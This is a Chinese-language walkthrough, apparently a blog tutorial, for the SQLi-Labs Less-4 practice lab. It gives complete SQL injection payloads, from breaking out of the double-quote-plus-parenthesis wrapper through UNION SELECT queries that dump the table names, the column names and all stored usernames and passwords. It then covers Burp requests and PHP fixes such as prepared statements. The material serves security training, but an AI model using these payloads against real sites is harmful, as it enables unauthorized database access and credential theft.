SQLi-Labs Less-4 通关教程(双引号+括号字符型GET注入)

SQLi-Labs Less-4 通关教程(双引号+括号字符型GET注入)

一、关卡核心信息

项目 详情
漏洞类型 GET型双引号+括号字符型SQL注入(字符型注入的经典变体)
核心特征 后端SQL语句中,id参数被("")包裹(即id=("1")),需用")闭合双引号+括号
前置条件 已完成SQLi-Labs靶场搭建与数据库初始化
工具准备 浏览器(Chrome/Firefox)、Burp Suite(可选,抓包验证)
通关目标 掌握双引号+括号的闭合格式,完成敏感数据窃取,理解不同引号类型的注入差异

二、核心原理(教学重点)

Less-4 是字符型注入的典型变体,与前3关的核心差异在于参数包裹格式:

  • Less-1:id='1'(单引号)
  • Less-3:id=('1')(单引号+括号)
  • Less-4:id=("1")(双引号+括号)

此类注入的关键是通过报错判断引号类型(双引号)和括号包裹,再针对性构造闭合语句,是真实渗透中高频出现的场景(如开发者习惯用双引号包裹字符串参数)。

三、通关步骤

步骤1:判断注入类型与闭合方式(核心)

  1. 正常访问基准页 :

    访问地址:http://[靶场IP]/sqli-labs/Less-4/?id=1

    回显结果:页面正常显示Your Login name:Dumb、Your Password:Dumb,确认id=1查询有效。

  2. 测试单引号闭合(排除法) :

    输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1'

    回显结果:页面无报错、无异常(仅显示空白或原页面),说明不是单引号闭合。

  3. 测试双引号闭合(关键) :

    输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1"

    回显结果:出现MySQL语法错误,关键提示为near '"1"") LIMIT 0,1' at line 1。

    分析报错:"1"") 说明后端拼接后是 id=("1""),即原语句格式为 id=("参数"),需用 ") 闭合双引号+括号。

  4. 验证闭合有效性 :

    输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1") --+

    说明:") 闭合 id=("1") 中的双引号和括号,--+ 注释后续多余字符(浏览器自动转+为空格)。

    回显结果:页面恢复正常,验证闭合格式为 ")。

步骤2:确定查询字段数(ORDER BY 法)

  1. 输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1") order by 3 --+
    回显:页面正常,说明字段数≥3。
  2. 输入Payload:http://[靶场IP]/sqli-labs/Less-4/?id=1") order by 4 --+
    回显:出现Unknown column '4' in 'order clause'报错。
  3. 结论:原查询语句的字段数为3。

步骤3:定位回显位置(UNION 联合查询)

  1. 构造Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+
    关键说明:
    • id=-1:让原查询无结果,强制显示联合查询内容;
    • "):闭合原语句的("")格式;
    • union select 1,2,3:匹配3个字段数,测试回显位置。
  2. 回显结果:页面显示2和3,确认第2、3字段为可回显位置。

步骤4:逐层获取数据库敏感信息

(1)查询当前数据库名与数据库用户
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,database(),user() --+
  • 回显结果:database()显示security,user()显示root@localhost。
(2)查询security数据库下的所有表名
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 回显结果:显示emails、referers、uagents、users,核心目标表为users。
(3)查询users表的所有字段名
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
  • 回显结果:显示id、username、password。
(4)查询users表中的账号密码(通关核心)
  • Payload:http://[靶场IP]/sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users --+
  • 回显结果:显示所有用户凭证(如admin:admin、test:test),完成敏感数据窃取。

步骤5:Burp Suite Repeater 适配操作(避坑重点)

Repeater 中+不会自动转空格,需替换为%20(URL编码空格),正确Payload示例:

复制代码
GET /sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users --%20 HTTP/1.1

或使用%23(URL编码#)简化:

复制代码
GET /sqli-labs/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users %23 HTTP/1.1

四、常见错误与排错(教学必讲)

错误Payload 报错原因 修正方案
id=1' --+ 误用单引号闭合,原语句为双引号包裹 改为id=1") --+
id=1" --+ 仅闭合双引号,未闭合括号,语法错误 改为id=1") --+
id=-1" union select 1,2,3 --+ 闭合格式错误,缺少括号闭合 改为id=-1") union select 1,2,3 --+
Repeater中--+ +未编码,注释失效导致语法错误 替换为--%20或%23

五、漏洞修复方案

Less-4 漏洞本质是后端未过滤双引号、括号等特殊字符,直接拼接SQL语句,修复需从"输入校验"和"语句安全"入手:

  1. 特殊字符过滤 :过滤双引号、括号、注释符等,示例(PHP):

    php 复制代码
    $id = str_replace(['"', '(', ')'], "", $_GET['id']);
  2. 预编译语句(推荐) :使用PDO/MySQLi预编译,彻底避免SQL拼接,示例:

    php 复制代码
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
    $stmt->execute([$id]);
  3. 参数类型强制转换 :若id为数字,直接转为整数,拒绝字符串参数:

    php 复制代码
    $id = intval($_GET['id']);

六、图文并茂实训标注建议

截图序号 截图内容 核心标注
1 正常访问id=1的页面 标注"基准页,原语句格式为id=("1")"
2 id=1"的报错页面 标注"报错关键:"1"") → 闭合格式为")"
3 id=1") --+的正常页面 标注"闭合验证成功,双引号+括号均闭合"
4 联合查询显示表名的页面 标注"回显位置:第2字段显示表名"
5 获取账号密码的最终页面 标注"核心成果:users表敏感数据泄露"

七、通关总结

Less-4 核心考点是双引号+括号的字符型注入闭合逻辑,通关关键可总结为3步:

  1. 判类型 :单引号测试无报错 → 换双引号测试,从报错反推闭合格式((""));
  2. 做闭合 :用")完成双引号+括号的双重闭合,确保SQL语法合法;
  3. 拿数据 :后续ORDER BY、UNION SELECT逻辑与前3关一致,仅闭合格式不同。

此类双引号包裹的注入场景在真实开发中常见(如开发者习惯用双引号定义SQL字符串),掌握"先单引号、后双引号"的测试顺序,是快速定位字符型注入闭合格式的核心技巧。

相关推荐
数字融合3 小时前
透明化视频孪生危化安全管控解决方案
人工智能·python·安全
迪康Defender4 小时前
终端供应链安全:应用白名单与软件正版化检测落地|终端安全治理实践
运维·服务器·网络·安全·web安全·自动化·运维开发
Flynn Liang4 小时前
AI 应用的安全红线:Spring AI 下的 Prompt 注入防护、PII 脱敏、输出审计与密钥管理
人工智能·安全·spring·数据泄露·springai·prompt注入
朗迪锋5 小时前
SoErgo重塑“四特”场景下的人机协同与安全边界
人工智能·安全·人机工程
jimmyleeee6 小时前
Agent安全之九:OWASP ASI09 人机信任利用------当人类成为攻击链上最后一道被攻破的关口
人工智能·安全
其实防守也摸鱼7 小时前
信创安全竞赛知识总结与题库
大数据·网络·人工智能·算法·安全·php
万联WANFLOW7 小时前
异地厂区视频监控远程运维:从组网到安全的实施要点
运维·网络·安全·企业组网·sdwan
长不大的杨瑞杰8 小时前
OpenCode v2 配置工程实战:Config 优先级、JSONC、变量替换与多环境治理
人工智能·安全·云计算·软件工程·devops
航天智算8 小时前
航天智算 HTZS-1700 全信创网络安全移动工作站深度评测
网络安全·国产算力·国产化改造·算力适配·测绘信创
斗象科技8 小时前
斗象入选上海市“AI+制造“服务商能力图谱·AI安全服务商
人工智能·安全·制造